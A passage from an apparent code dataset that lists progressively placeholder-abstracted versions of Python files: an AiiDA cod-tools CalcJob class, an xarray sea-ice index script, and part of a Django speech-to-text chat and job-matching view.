tear_down(self):\r\n self.driver.close()\r\n print 'Test finished'\r\n" ]

[ "# -*- coding: utf-8 -*-\n\"\"\"Generic `CalcJob` implementation that can easily be extended to work with any of the `cod-tools` scripts.\"\"\"\nimport copy\n\nfrom aiida.common import datastructures, exceptions\nfrom aiida.engine import CalcJob\nfrom aiida.orm import CifData, Dict\n\n\nclass CifBaseCalculation(CalcJob):\n \"\"\"Generic `CalcJob` implementation that can easily be extended to work with any of the `cod-tools` scripts.\"\"\"\n\n _default_parser = 'codtools.cif_base'\n _default_cli_parameters = {}\n\n @classmethod\n def define(cls, spec):\n # yapf: disable\n super().define(spec)\n spec.input('metadata.options.input_filename', valid_type=str, default='aiida.in',\n help='Filename to which the input for the code that is to be run will be written.')\n spec.input('metadata.options.output_filename', valid_type=str, default='aiida.out',\n help='Filename to which the content of stdout of the code that is to be run will be written.')\n spec.input('metadata.options.error_filename', valid_type=str, default='aiida.err',\n help='Filename to which the content of stderr of the code that is to be run will be written.')\n spec.input('metadata.options.parser_name', valid_type=str, default=cls._default_parser,\n help='Define the parser to be used by setting its entry point name.')\n spec.input('metadata.options.attach_messages', valid_type=bool, default=False,\n help='When True, warnings and errors written to stderr will be attached as the `messages` output node')\n\n spec.input('cif', valid_type=CifData, required=True,\n help='The CIF to be processed.')\n spec.input('parameters', valid_type=Dict, required=False,\n help='Command line parameters.')\n\n spec.output('messages', valid_type=Dict, required=False,\n help='Warning and error messages returned by script.')\n\n spec.exit_code(300, 'ERROR_NO_OUTPUT_FILES',\n message='Neither the output for the error file could be read from the retrieved folder.')\n spec.exit_code(311, 'ERROR_READING_OUTPUT_FILE',\n message='The output file could not be read from the retrieved folder.')\n spec.exit_code(312, 'ERROR_READING_ERROR_FILE',\n message='The error file could not be read from the retrieved folder.')\n spec.exit_code(313, 'ERROR_EMPTY_OUTPUT_FILE',\n message='The output file is empty.')\n spec.exit_code(320, 'ERROR_INVALID_COMMAND_LINE_OPTION',\n message='Invalid command line option passed.')\n spec.exit_code(400, 'ERROR_PARSING_OUTPUT_DATA',\n message='The output file could not be parsed.')\n spec.exit_code(410, 'ERROR_PARSING_CIF_DATA',\n message='The output file could not be parsed into a CifData object.')\n\n def _validate_resources(self):\n \"\"\"Validate the resources defined in the options.\"\"\"\n resources = self.options.resources\n\n for key in ['num_machines', 'num_mpiprocs_per_machine', 'tot_num_mpiprocs']:\n if key in resources and resources[key] != 1:\n raise exceptions.FeatureNotAvailable(\n f'Cannot set resource `{key}` to value `{resources[key]}` for `{self.__class__.__name__}`: '\n 'parallelization is not supported, only a value of `1` is accepted.'\n )\n\n def prepare_for_submission(self, folder):\n \"\"\"This method is called prior to job submission with a set of calculation input nodes.\n\n The inputs will be validated and sanitized, after which the necessary input files will be written to disk in a\n temporary folder. A CalcInfo instance will be returned that contains lists of files that need to be copied to\n the remote machine before job submission, as well as file lists that are to be retrieved after job completion.\n\n :param folder: an aiida.common.folders.Folder to temporarily write files on disk\n :returns: CalcInfo instance\n \"\"\"\n from aiida_codtools.cli.utils.parameters import CliParameters\n\n try:\n parameters = self.inputs.parameters.get_dict()\n except AttributeError:\n parameters = {}\n\n self._validate_resources()\n\n cli_parameters = copy.deepcopy(self._default_cli_parameters)\n cli_parameters.update(parameters)\n\n codeinfo = datastructures.CodeInfo()\n codeinfo.code_uuid = self.inputs.code.uuid\n codeinfo.cmdline_params = CliParameters.from_dictionary(cli_parameters).get_list()\n codeinfo.stdin_name = self.options.input_filename\n codeinfo.stdout_name = self.options.output_filename\n codeinfo.stderr_name = self.options.error_filename\n\n calcinfo = datastructures.CalcInfo()\n calcinfo.uuid = str(self.uuid)\n calcinfo.codes_info = [codeinfo]\n calcinfo.retrieve_list = [self.options.output_filename, self.options.error_filename]\n calcinfo.local_copy_list = [(self.inputs.cif.uuid, self.inputs.cif.filename, self.options.input_filename)]\n calcinfo.remote_copy_list = []\n\n return calcinfo\n", "<docstring token>\nimport copy\nfrom aiida.common import datastructures, exceptions\nfrom aiida.engine import CalcJob\nfrom aiida.orm import CifData, Dict\n\n\nclass CifBaseCalculation(CalcJob):\n \"\"\"Generic `CalcJob` implementation that can easily be extended to work with any of the `cod-tools` scripts.\"\"\"\n _default_parser = 'codtools.cif_base'\n _default_cli_parameters = {}\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.input('metadata.options.input_filename', valid_type=str,\n default='aiida.in', help=\n 'Filename to which the input for the code that is to be run will be written.'\n )\n spec.input('metadata.options.output_filename', valid_type=str,\n default='aiida.out', help=\n 'Filename to which the content of stdout of the code that is to be run will be written.'\n )\n spec.input('metadata.options.error_filename', valid_type=str,\n default='aiida.err', help=\n 'Filename to which the content of stderr of the code that is to be run will be written.'\n )\n spec.input('metadata.options.parser_name', valid_type=str, default=\n cls._default_parser, help=\n 'Define the parser to be used by setting its entry point name.')\n spec.input('metadata.options.attach_messages', valid_type=bool,\n default=False, help=\n 'When True, warnings and errors written to stderr will be attached as the `messages` output node'\n )\n spec.input('cif', valid_type=CifData, required=True, help=\n 'The CIF to be processed.')\n spec.input('parameters', valid_type=Dict, required=False, help=\n 'Command line parameters.')\n spec.output('messages', valid_type=Dict, required=False, help=\n 'Warning and error messages returned by script.')\n spec.exit_code(300, 'ERROR_NO_OUTPUT_FILES', message=\n 'Neither the output for the error file could be read from the retrieved folder.'\n )\n spec.exit_code(311, 'ERROR_READING_OUTPUT_FILE', message=\n 'The output file could not be read from the retrieved folder.')\n spec.exit_code(312, 'ERROR_READING_ERROR_FILE', message=\n 'The error file could not be read from the retrieved folder.')\n spec.exit_code(313, 'ERROR_EMPTY_OUTPUT_FILE', message=\n 'The output file is empty.')\n spec.exit_code(320, 'ERROR_INVALID_COMMAND_LINE_OPTION', message=\n 'Invalid command line option passed.')\n spec.exit_code(400, 'ERROR_PARSING_OUTPUT_DATA', message=\n 'The output file could not be parsed.')\n spec.exit_code(410, 'ERROR_PARSING_CIF_DATA', message=\n 'The output file could not be parsed into a CifData object.')\n\n def _validate_resources(self):\n \"\"\"Validate the resources defined in the options.\"\"\"\n resources = self.options.resources\n for key in ['num_machines', 'num_mpiprocs_per_machine',\n 'tot_num_mpiprocs']:\n if key in resources and resources[key] != 1:\n raise exceptions.FeatureNotAvailable(\n f'Cannot set resource `{key}` to value `{resources[key]}` for `{self.__class__.__name__}`: parallelization is not supported, only a value of `1` is accepted.'\n )\n\n def prepare_for_submission(self, folder):\n \"\"\"This method is called prior to job submission with a set of calculation input nodes.\n\n The inputs will be validated and sanitized, after which the necessary input files will be written to disk in a\n temporary folder. A CalcInfo instance will be returned that contains lists of files that need to be copied to\n the remote machine before job submission, as well as file lists that are to be retrieved after job completion.\n\n :param folder: an aiida.common.folders.Folder to temporarily write files on disk\n :returns: CalcInfo instance\n \"\"\"\n from aiida_codtools.cli.utils.parameters import CliParameters\n try:\n parameters = self.inputs.parameters.get_dict()\n except AttributeError:\n parameters = {}\n self._validate_resources()\n cli_parameters = copy.deepcopy(self._default_cli_parameters)\n cli_parameters.update(parameters)\n codeinfo = datastructures.CodeInfo()\n codeinfo.code_uuid = self.inputs.code.uuid\n codeinfo.cmdline_params = CliParameters.from_dictionary(cli_parameters\n ).get_list()\n codeinfo.stdin_name = self.options.input_filename\n codeinfo.stdout_name = self.options.output_filename\n codeinfo.stderr_name = self.options.error_filename\n calcinfo = datastructures.CalcInfo()\n calcinfo.uuid = str(self.uuid)\n calcinfo.codes_info = [codeinfo]\n calcinfo.retrieve_list = [self.options.output_filename, self.\n options.error_filename]\n calcinfo.local_copy_list = [(self.inputs.cif.uuid, self.inputs.cif.\n filename, self.options.input_filename)]\n calcinfo.remote_copy_list = []\n return calcinfo\n", "<docstring token>\n<import token>\n\n\nclass CifBaseCalculation(CalcJob):\n \"\"\"Generic `CalcJob` implementation that can easily be extended to work with any of the `cod-tools` scripts.\"\"\"\n _default_parser = 'codtools.cif_base'\n _default_cli_parameters = {}\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.input('metadata.options.input_filename', valid_type=str,\n default='aiida.in', help=\n 'Filename to which the input for the code that is to be run will be written.'\n )\n spec.input('metadata.options.output_filename', valid_type=str,\n default='aiida.out', help=\n 'Filename to which the content of stdout of the code that is to be run will be written.'\n )\n spec.input('metadata.options.error_filename', valid_type=str,\n default='aiida.err', help=\n 'Filename to which the content of stderr of the code that is to be run will be written.'\n )\n spec.input('metadata.options.parser_name', valid_type=str, default=\n cls._default_parser, help=\n 'Define the parser to be used by setting its entry point name.')\n spec.input('metadata.options.attach_messages', valid_type=bool,\n default=False, help=\n 'When True, warnings and errors written to stderr will be attached as the `messages` output node'\n )\n spec.input('cif', valid_type=CifData, required=True, help=\n 'The CIF to be processed.')\n spec.input('parameters', valid_type=Dict, required=False, help=\n 'Command line parameters.')\n spec.output('messages', valid_type=Dict, required=False, help=\n 'Warning and error messages returned by script.')\n spec.exit_code(300, 'ERROR_NO_OUTPUT_FILES', message=\n 'Neither the output for the error file could be read from the retrieved folder.'\n )\n spec.exit_code(311, 'ERROR_READING_OUTPUT_FILE', message=\n 'The output file could not be read from the retrieved folder.')\n spec.exit_code(312, 'ERROR_READING_ERROR_FILE', message=\n 'The error file could not be read from the retrieved folder.')\n spec.exit_code(313, 'ERROR_EMPTY_OUTPUT_FILE', message=\n 'The output file is empty.')\n spec.exit_code(320, 'ERROR_INVALID_COMMAND_LINE_OPTION', message=\n 'Invalid command line option passed.')\n spec.exit_code(400, 'ERROR_PARSING_OUTPUT_DATA', message=\n 'The output file could not be parsed.')\n spec.exit_code(410, 'ERROR_PARSING_CIF_DATA', message=\n 'The output file could not be parsed into a CifData object.')\n\n def _validate_resources(self):\n \"\"\"Validate the resources defined in the options.\"\"\"\n resources = self.options.resources\n for key in ['num_machines', 'num_mpiprocs_per_machine',\n 'tot_num_mpiprocs']:\n if key in resources and resources[key] != 1:\n raise exceptions.FeatureNotAvailable(\n f'Cannot set resource `{key}` to value `{resources[key]}` for `{self.__class__.__name__}`: parallelization is not supported, only a value of `1` is accepted.'\n )\n\n def prepare_for_submission(self, folder):\n \"\"\"This method is called prior to job submission with a set of calculation input nodes.\n\n The inputs will be validated and sanitized, after which the necessary input files will be written to disk in a\n temporary folder. A CalcInfo instance will be returned that contains lists of files that need to be copied to\n the remote machine before job submission, as well as file lists that are to be retrieved after job completion.\n\n :param folder: an aiida.common.folders.Folder to temporarily write files on disk\n :returns: CalcInfo instance\n \"\"\"\n from aiida_codtools.cli.utils.parameters import CliParameters\n try:\n parameters = self.inputs.parameters.get_dict()\n except AttributeError:\n parameters = {}\n self._validate_resources()\n cli_parameters = copy.deepcopy(self._default_cli_parameters)\n cli_parameters.update(parameters)\n codeinfo = datastructures.CodeInfo()\n codeinfo.code_uuid = self.inputs.code.uuid\n codeinfo.cmdline_params = CliParameters.from_dictionary(cli_parameters\n ).get_list()\n codeinfo.stdin_name = self.options.input_filename\n codeinfo.stdout_name = self.options.output_filename\n codeinfo.stderr_name = self.options.error_filename\n calcinfo = datastructures.CalcInfo()\n calcinfo.uuid = str(self.uuid)\n calcinfo.codes_info = [codeinfo]\n calcinfo.retrieve_list = [self.options.output_filename, self.\n options.error_filename]\n calcinfo.local_copy_list = [(self.inputs.cif.uuid, self.inputs.cif.\n filename, self.options.input_filename)]\n calcinfo.remote_copy_list = []\n return calcinfo\n", "<docstring token>\n<import token>\n\n\nclass CifBaseCalculation(CalcJob):\n <docstring token>\n _default_parser = 'codtools.cif_base'\n _default_cli_parameters = {}\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.input('metadata.options.input_filename', valid_type=str,\n default='aiida.in', help=\n 'Filename to which the input for the code that is to be run will be written.'\n )\n spec.input('metadata.options.output_filename', valid_type=str,\n default='aiida.out', help=\n 'Filename to which the content of stdout of the code that is to be run will be written.'\n )\n spec.input('metadata.options.error_filename', valid_type=str,\n default='aiida.err', help=\n 'Filename to which the content of stderr of the code that is to be run will be written.'\n )\n spec.input('metadata.options.parser_name', valid_type=str, default=\n cls._default_parser, help=\n 'Define the parser to be used by setting its entry point name.')\n spec.input('metadata.options.attach_messages', valid_type=bool,\n default=False, help=\n 'When True, warnings and errors written to stderr will be attached as the `messages` output node'\n )\n spec.input('cif', valid_type=CifData, required=True, help=\n 'The CIF to be processed.')\n spec.input('parameters', valid_type=Dict, required=False, help=\n 'Command line parameters.')\n spec.output('messages', valid_type=Dict, required=False, help=\n 'Warning and error messages returned by script.')\n spec.exit_code(300, 'ERROR_NO_OUTPUT_FILES', message=\n 'Neither the output for the error file could be read from the retrieved folder.'\n )\n spec.exit_code(311, 'ERROR_READING_OUTPUT_FILE', message=\n 'The output file could not be read from the retrieved folder.')\n spec.exit_code(312, 'ERROR_READING_ERROR_FILE', message=\n 'The error file could not be read from the retrieved folder.')\n spec.exit_code(313, 'ERROR_EMPTY_OUTPUT_FILE', message=\n 'The output file is empty.')\n spec.exit_code(320, 'ERROR_INVALID_COMMAND_LINE_OPTION', message=\n 'Invalid command line option passed.')\n spec.exit_code(400, 'ERROR_PARSING_OUTPUT_DATA', message=\n 'The output file could not be parsed.')\n spec.exit_code(410, 'ERROR_PARSING_CIF_DATA', message=\n 'The output file could not be parsed into a CifData object.')\n\n def _validate_resources(self):\n \"\"\"Validate the resources defined in the options.\"\"\"\n resources = self.options.resources\n for key in ['num_machines', 'num_mpiprocs_per_machine',\n 'tot_num_mpiprocs']:\n if key in resources and resources[key] != 1:\n raise exceptions.FeatureNotAvailable(\n f'Cannot set resource `{key}` to value `{resources[key]}` for `{self.__class__.__name__}`: parallelization is not supported, only a value of `1` is accepted.'\n )\n\n def prepare_for_submission(self, folder):\n \"\"\"This method is called prior to job submission with a set of calculation input nodes.\n\n The inputs will be validated and sanitized, after which the necessary input files will be written to disk in a\n temporary folder. A CalcInfo instance will be returned that contains lists of files that need to be copied to\n the remote machine before job submission, as well as file lists that are to be retrieved after job completion.\n\n :param folder: an aiida.common.folders.Folder to temporarily write files on disk\n :returns: CalcInfo instance\n \"\"\"\n from aiida_codtools.cli.utils.parameters import CliParameters\n try:\n parameters = self.inputs.parameters.get_dict()\n except AttributeError:\n parameters = {}\n self._validate_resources()\n cli_parameters = copy.deepcopy(self._default_cli_parameters)\n cli_parameters.update(parameters)\n codeinfo = datastructures.CodeInfo()\n codeinfo.code_uuid = self.inputs.code.uuid\n codeinfo.cmdline_params = CliParameters.from_dictionary(cli_parameters\n ).get_list()\n codeinfo.stdin_name = self.options.input_filename\n codeinfo.stdout_name = self.options.output_filename\n codeinfo.stderr_name = self.options.error_filename\n calcinfo = datastructures.CalcInfo()\n calcinfo.uuid = str(self.uuid)\n calcinfo.codes_info = [codeinfo]\n calcinfo.retrieve_list = [self.options.output_filename, self.\n options.error_filename]\n calcinfo.local_copy_list = [(self.inputs.cif.uuid, self.inputs.cif.\n filename, self.options.input_filename)]\n calcinfo.remote_copy_list = []\n return calcinfo\n", "<docstring token>\n<import token>\n\n\nclass CifBaseCalculation(CalcJob):\n <docstring token>\n <assignment token>\n <assignment token>\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.input('metadata.options.input_filename', valid_type=str,\n default='aiida.in', help=\n 'Filename to which the input for the code that is to be run will be written.'\n )\n spec.input('metadata.options.output_filename', valid_type=str,\n default='aiida.out', help=\n 'Filename to which the content of stdout of the code that is to be run will be written.'\n )\n spec.input('metadata.options.error_filename', valid_type=str,\n default='aiida.err', help=\n 'Filename to which the content of stderr of the code that is to be run will be written.'\n )\n spec.input('metadata.options.parser_name', valid_type=str, default=\n cls._default_parser, help=\n 'Define the parser to be used by setting its entry point name.')\n spec.input('metadata.options.attach_messages', valid_type=bool,\n default=False, help=\n 'When True, warnings and errors written to stderr will be attached as the `messages` output node'\n )\n spec.input('cif', valid_type=CifData, required=True, help=\n 'The CIF to be processed.')\n spec.input('parameters', valid_type=Dict, required=False, help=\n 'Command line parameters.')\n spec.output('messages', valid_type=Dict, required=False, help=\n 'Warning and error messages returned by script.')\n spec.exit_code(300, 'ERROR_NO_OUTPUT_FILES', message=\n 'Neither the output for the error file could be read from the retrieved folder.'\n )\n spec.exit_code(311, 'ERROR_READING_OUTPUT_FILE', message=\n 'The output file could not be read from the retrieved folder.')\n spec.exit_code(312, 'ERROR_READING_ERROR_FILE', message=\n 'The error file could not be read from the retrieved folder.')\n spec.exit_code(313, 'ERROR_EMPTY_OUTPUT_FILE', message=\n 'The output file is empty.')\n spec.exit_code(320, 'ERROR_INVALID_COMMAND_LINE_OPTION', message=\n 'Invalid command line option passed.')\n spec.exit_code(400, 'ERROR_PARSING_OUTPUT_DATA', message=\n 'The output file could not be parsed.')\n spec.exit_code(410, 'ERROR_PARSING_CIF_DATA', message=\n 'The output file could not be parsed into a CifData object.')\n\n def _validate_resources(self):\n \"\"\"Validate the resources defined in the options.\"\"\"\n resources = self.options.resources\n for key in ['num_machines', 'num_mpiprocs_per_machine',\n 'tot_num_mpiprocs']:\n if key in resources and resources[key] != 1:\n raise exceptions.FeatureNotAvailable(\n f'Cannot set resource `{key}` to value `{resources[key]}` for `{self.__class__.__name__}`: parallelization is not supported, only a value of `1` is accepted.'\n )\n\n def prepare_for_submission(self, folder):\n \"\"\"This method is called prior to job submission with a set of calculation input nodes.\n\n The inputs will be validated and sanitized, after which the necessary input files will be written to disk in a\n temporary folder. A CalcInfo instance will be returned that contains lists of files that need to be copied to\n the remote machine before job submission, as well as file lists that are to be retrieved after job completion.\n\n :param folder: an aiida.common.folders.Folder to temporarily write files on disk\n :returns: CalcInfo instance\n \"\"\"\n from aiida_codtools.cli.utils.parameters import CliParameters\n try:\n parameters = self.inputs.parameters.get_dict()\n except AttributeError:\n parameters = {}\n self._validate_resources()\n cli_parameters = copy.deepcopy(self._default_cli_parameters)\n cli_parameters.update(parameters)\n codeinfo = datastructures.CodeInfo()\n codeinfo.code_uuid = self.inputs.code.uuid\n codeinfo.cmdline_params = CliParameters.from_dictionary(cli_parameters\n ).get_list()\n codeinfo.stdin_name = self.options.input_filename\n codeinfo.stdout_name = self.options.output_filename\n codeinfo.stderr_name = self.options.error_filename\n calcinfo = datastructures.CalcInfo()\n calcinfo.uuid = str(self.uuid)\n calcinfo.codes_info = [codeinfo]\n calcinfo.retrieve_list = [self.options.output_filename, self.\n options.error_filename]\n calcinfo.local_copy_list = [(self.inputs.cif.uuid, self.inputs.cif.\n filename, self.options.input_filename)]\n calcinfo.remote_copy_list = []\n return calcinfo\n", "<docstring token>\n<import token>\n\n\nclass CifBaseCalculation(CalcJob):\n <docstring token>\n <assignment token>\n <assignment token>\n\n @classmethod\n def define(cls, spec):\n super().define(spec)\n spec.input('metadata.options.input_filename', valid_type=str,\n default='aiida.in', help=\n 'Filename to which the input for the code that is to be run will be written.'\n )\n spec.input('metadata.options.output_filename', valid_type=str,\n default='aiida.out', help=\n 'Filename to which the content of stdout of the code that is to be run will be written.'\n )\n spec.input('metadata.options.error_filename', valid_type=str,\n default='aiida.err', help=\n 'Filename to which the content of stderr of the code that is to be run will be written.'\n )\n spec.input('metadata.options.parser_name', valid_type=str, default=\n cls._default_parser, help=\n 'Define the parser to be used by setting its entry point name.')\n spec.input('metadata.options.attach_messages', valid_type=bool,\n default=False, help=\n 'When True, warnings and errors written to stderr will be attached as the `messages` output node'\n )\n spec.input('cif', valid_type=CifData, required=True, help=\n 'The CIF to be processed.')\n spec.input('parameters', valid_type=Dict, required=False, help=\n 'Command line parameters.')\n spec.output('messages', valid_type=Dict, required=False, help=\n 'Warning and error messages returned by script.')\n spec.exit_code(300, 'ERROR_NO_OUTPUT_FILES', message=\n 'Neither the output for the error file could be read from the retrieved folder.'\n )\n spec.exit_code(311, 'ERROR_READING_OUTPUT_FILE', message=\n 'The output file could not be read from the retrieved folder.')\n spec.exit_code(312, 'ERROR_READING_ERROR_FILE', message=\n 'The error file could not be read from the retrieved folder.')\n spec.exit_code(313, 'ERROR_EMPTY_OUTPUT_FILE', message=\n 'The output file is empty.')\n spec.exit_code(320, 'ERROR_INVALID_COMMAND_LINE_OPTION', message=\n 'Invalid command line option passed.')\n spec.exit_code(400, 'ERROR_PARSING_OUTPUT_DATA', message=\n 'The output file could not be parsed.')\n spec.exit_code(410, 'ERROR_PARSING_CIF_DATA', message=\n 'The output file could not be parsed into a CifData object.')\n <function token>\n\n def prepare_for_submission(self, folder):\n \"\"\"This method is called prior to job submission with a set of calculation input nodes.\n\n The inputs will be validated and sanitized, after which the necessary input files will be written to disk in a\n temporary folder. A CalcInfo instance will be returned that contains lists of files that need to be copied to\n the remote machine before job submission, as well as file lists that are to be retrieved after job completion.\n\n :param folder: an aiida.common.folders.Folder to temporarily write files on disk\n :returns: CalcInfo instance\n \"\"\"\n from aiida_codtools.cli.utils.parameters import CliParameters\n try:\n parameters = self.inputs.parameters.get_dict()\n except AttributeError:\n parameters = {}\n self._validate_resources()\n cli_parameters = copy.deepcopy(self._default_cli_parameters)\n cli_parameters.update(parameters)\n codeinfo = datastructures.CodeInfo()\n codeinfo.code_uuid = self.inputs.code.uuid\n codeinfo.cmdline_params = CliParameters.from_dictionary(cli_parameters\n ).get_list()\n codeinfo.stdin_name = self.options.input_filename\n codeinfo.stdout_name = self.options.output_filename\n codeinfo.stderr_name = self.options.error_filename\n calcinfo = datastructures.CalcInfo()\n calcinfo.uuid = str(self.uuid)\n calcinfo.codes_info = [codeinfo]\n calcinfo.retrieve_list = [self.options.output_filename, self.\n options.error_filename]\n calcinfo.local_copy_list = [(self.inputs.cif.uuid, self.inputs.cif.\n filename, self.options.input_filename)]\n calcinfo.remote_copy_list = []\n return calcinfo\n", "<docstring token>\n<import token>\n\n\nclass CifBaseCalculation(CalcJob):\n <docstring token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n\n def prepare_for_submission(self, folder):\n \"\"\"This method is called prior to job submission with a set of calculation input nodes.\n\n The inputs will be validated and sanitized, after which the necessary input files will be written to disk in a\n temporary folder. A CalcInfo instance will be returned that contains lists of files that need to be copied to\n the remote machine before job submission, as well as file lists that are to be retrieved after job completion.\n\n :param folder: an aiida.common.folders.Folder to temporarily write files on disk\n :returns: CalcInfo instance\n \"\"\"\n from aiida_codtools.cli.utils.parameters import CliParameters\n try:\n parameters = self.inputs.parameters.get_dict()\n except AttributeError:\n parameters = {}\n self._validate_resources()\n cli_parameters = copy.deepcopy(self._default_cli_parameters)\n cli_parameters.update(parameters)\n codeinfo = datastructures.CodeInfo()\n codeinfo.code_uuid = self.inputs.code.uuid\n codeinfo.cmdline_params = CliParameters.from_dictionary(cli_parameters\n ).get_list()\n codeinfo.stdin_name = self.options.input_filename\n codeinfo.stdout_name = self.options.output_filename\n codeinfo.stderr_name = self.options.error_filename\n calcinfo = datastructures.CalcInfo()\n calcinfo.uuid = str(self.uuid)\n calcinfo.codes_info = [codeinfo]\n calcinfo.retrieve_list = [self.options.output_filename, self.\n options.error_filename]\n calcinfo.local_copy_list = [(self.inputs.cif.uuid, self.inputs.cif.\n filename, self.options.input_filename)]\n calcinfo.remote_copy_list = []\n return calcinfo\n", "<docstring token>\n<import token>\n\n\nclass CifBaseCalculation(CalcJob):\n <docstring token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<class token>\n" ]

[ "import numpy as np\nimport xarray as xr\n\nimport sys\nsys.path.append(\"../utils/\")\n\nfrom conform_dim import conform_dim\nfrom fourier_filter_high_pass import fourier_filter_high_pass\n\nds = xr.open_dataset('../data/HadISST_ice.nc')\n\nyear_start = 1979\nyear_end = 2020\nyear = range(year_start, year_end)\nnyears = year_end - year_start + 1\n\nvar = ds['sic']\nlat = ds['latitude']\nlon = ds['longitude']\n\nvar_sep = var.sel(time=var.time.dt.month.isin(9)&var.time.dt.year.isin([x for x in range(year_start,year_end)])) \nvar_oct = var.sel(time=var.time.dt.month.isin(10)&var.time.dt.year.isin([x for x in range(year_start,year_end)])) \nvar_nov = var.sel(time=var.time.dt.month.isin(11)&var.time.dt.year.isin([x for x in range(year_start,year_end)])) \n\n# SON\nSON = (var_sep.values+var_oct.values+var_nov.values) / 3.0\nvar_son = xr.DataArray(SON, coords=[(\"time\",var_sep['time'].values),(\"lat\",lat.values),(\"lon\",lon.values)])\n\nvar_son.coords['lon'] = (var_son.coords['lon'] + 360) % 360 \nvar_son = var_son.sortby(var_son.lon)\n\nvar_son = var_son * conform_dim(np.cos(lat.values*np.pi/180.0),var_son,(0,2))\n\ntarget = var_son.loc[:,80:71,120:225].mean(dim=\"lon\").mean(dim=\"lat\")\n\nts = target.values\n\nts = fourier_filter_high_pass(ts, 11)\n\nnp.savetxt(\"idx-filter.txt\",ts)\n", "import numpy as np\nimport xarray as xr\nimport sys\nsys.path.append('../utils/')\nfrom conform_dim import conform_dim\nfrom fourier_filter_high_pass import fourier_filter_high_pass\nds = xr.open_dataset('../data/HadISST_ice.nc')\nyear_start = 1979\nyear_end = 2020\nyear = range(year_start, year_end)\nnyears = year_end - year_start + 1\nvar = ds['sic']\nlat = ds['latitude']\nlon = ds['longitude']\nvar_sep = var.sel(time=var.time.dt.month.isin(9) & var.time.dt.year.isin([x for\n x in range(year_start, year_end)]))\nvar_oct = var.sel(time=var.time.dt.month.isin(10) & var.time.dt.year.isin([\n x for x in range(year_start, year_end)]))\nvar_nov = var.sel(time=var.time.dt.month.isin(11) & var.time.dt.year.isin([\n x for x in range(year_start, year_end)]))\nSON = (var_sep.values + var_oct.values + var_nov.values) / 3.0\nvar_son = xr.DataArray(SON, coords=[('time', var_sep['time'].values), (\n 'lat', lat.values), ('lon', lon.values)])\nvar_son.coords['lon'] = (var_son.coords['lon'] + 360) % 360\nvar_son = var_son.sortby(var_son.lon)\nvar_son = var_son * conform_dim(np.cos(lat.values * np.pi / 180.0), var_son,\n (0, 2))\ntarget = var_son.loc[:, 80:71, 120:225].mean(dim='lon').mean(dim='lat')\nts = target.values\nts = fourier_filter_high_pass(ts, 11)\nnp.savetxt('idx-filter.txt', ts)\n", "<import token>\nsys.path.append('../utils/')\n<import token>\nds = xr.open_dataset('../data/HadISST_ice.nc')\nyear_start = 1979\nyear_end = 2020\nyear = range(year_start, year_end)\nnyears = year_end - year_start + 1\nvar = ds['sic']\nlat = ds['latitude']\nlon = ds['longitude']\nvar_sep = var.sel(time=var.time.dt.month.isin(9) & var.time.dt.year.isin([x for\n x in range(year_start, year_end)]))\nvar_oct = var.sel(time=var.time.dt.month.isin(10) & var.time.dt.year.isin([\n x for x in range(year_start, year_end)]))\nvar_nov = var.sel(time=var.time.dt.month.isin(11) & var.time.dt.year.isin([\n x for x in range(year_start, year_end)]))\nSON = (var_sep.values + var_oct.values + var_nov.values) / 3.0\nvar_son = xr.DataArray(SON, coords=[('time', var_sep['time'].values), (\n 'lat', lat.values), ('lon', lon.values)])\nvar_son.coords['lon'] = (var_son.coords['lon'] + 360) % 360\nvar_son = var_son.sortby(var_son.lon)\nvar_son = var_son * conform_dim(np.cos(lat.values * np.pi / 180.0), var_son,\n (0, 2))\ntarget = var_son.loc[:, 80:71, 120:225].mean(dim='lon').mean(dim='lat')\nts = target.values\nts = fourier_filter_high_pass(ts, 11)\nnp.savetxt('idx-filter.txt', ts)\n", "<import token>\nsys.path.append('../utils/')\n<import token>\n<assignment token>\nnp.savetxt('idx-filter.txt', ts)\n", "<import token>\n<code token>\n<import token>\n<assignment token>\n<code token>\n" ]

[ "import os\nfrom chat.models import Chat, Jobs, Qualified\nimport speech_recognition as sr\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, redirect\n\n\ndef home(request):\n chats = Chat.objects.all()\n all_users = User.objects.filter(messages__isnull=False).distinct()\n ctx = {\n 'home': 'active',\n 'chat': chats,\n 'allusers': all_users\n }\n if request.user.is_authenticated:\n return render(request, 'chat.html', ctx)\n else:\n return render(request, 'base.html', None)\n\n\ndef upload(request):\n customHeader = request.META['HTTP_MYCUSTOMHEADER']\n\n # obviously handle correct naming of the file and place it somewhere like media/uploads/\n filename = str(Chat.objects.count())\n filename = filename + \"name\" + \".wav\"\n uploadedFile = open(filename, \"wb\")\n # the actual file is in request.body\n uploadedFile.write(request.body)\n uploadedFile.close()\n # put additional logic like creating a model instance or something like this here\n r = sr.Recognizer()\n harvard = sr.AudioFile(filename)\n with harvard as source:\n audio = r.record(source)\n msg = r.recognize_google(audio)\n os.remove(filename)\n chat_message = Chat(user=request.user, message=msg)\n if msg != '':\n\n j = Jobs.objects.all()\n msg = msg.lower()\n m = msg.split()\n for jo in j:\n skill = jo.skill.lower()\n s = skill.split(',')\n ms = set(m)\n sk = set(s)\n if ms & sk:\n q = Qualified(user=request.user, message=jo.user)\n q.save()\n chat_message.save()\n return redirect('/')\n\n\ndef messages(request):\n user = request.user\n chat = Qualified.objects.filter(user=user)\n return render(request, 'messages.html', {'chat': chat, 'user': user})\n", "import os\nfrom chat.models import Chat, Jobs, Qualified\nimport speech_recognition as sr\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, redirect\n\n\ndef home(request):\n chats = Chat.objects.all()\n all_users = User.objects.filter(messages__isnull=False).distinct()\n ctx = {'home': 'active', 'chat': chats, 'allusers': all_users}\n if request.user.is_authenticated:\n return render(request, 'chat.html', ctx)\n else:\n return render(request, 'base.html', None)\n\n\ndef upload(request):\n customHeader = request.META['HTTP_MYCUSTOMHEADER']\n filename = str(Chat.objects.count())\n filename = filename + 'name' + '.wav'\n uploadedFile = open(filename, 'wb')\n uploadedFile.write(request.body)\n uploadedFile.close()\n r = sr.Recognizer()\n harvard = sr.AudioFile(filename)\n with harvard as source:\n audio = r.record(source)\n msg = r.recognize_google(audio)\n os.remove(filename)\n chat_message = 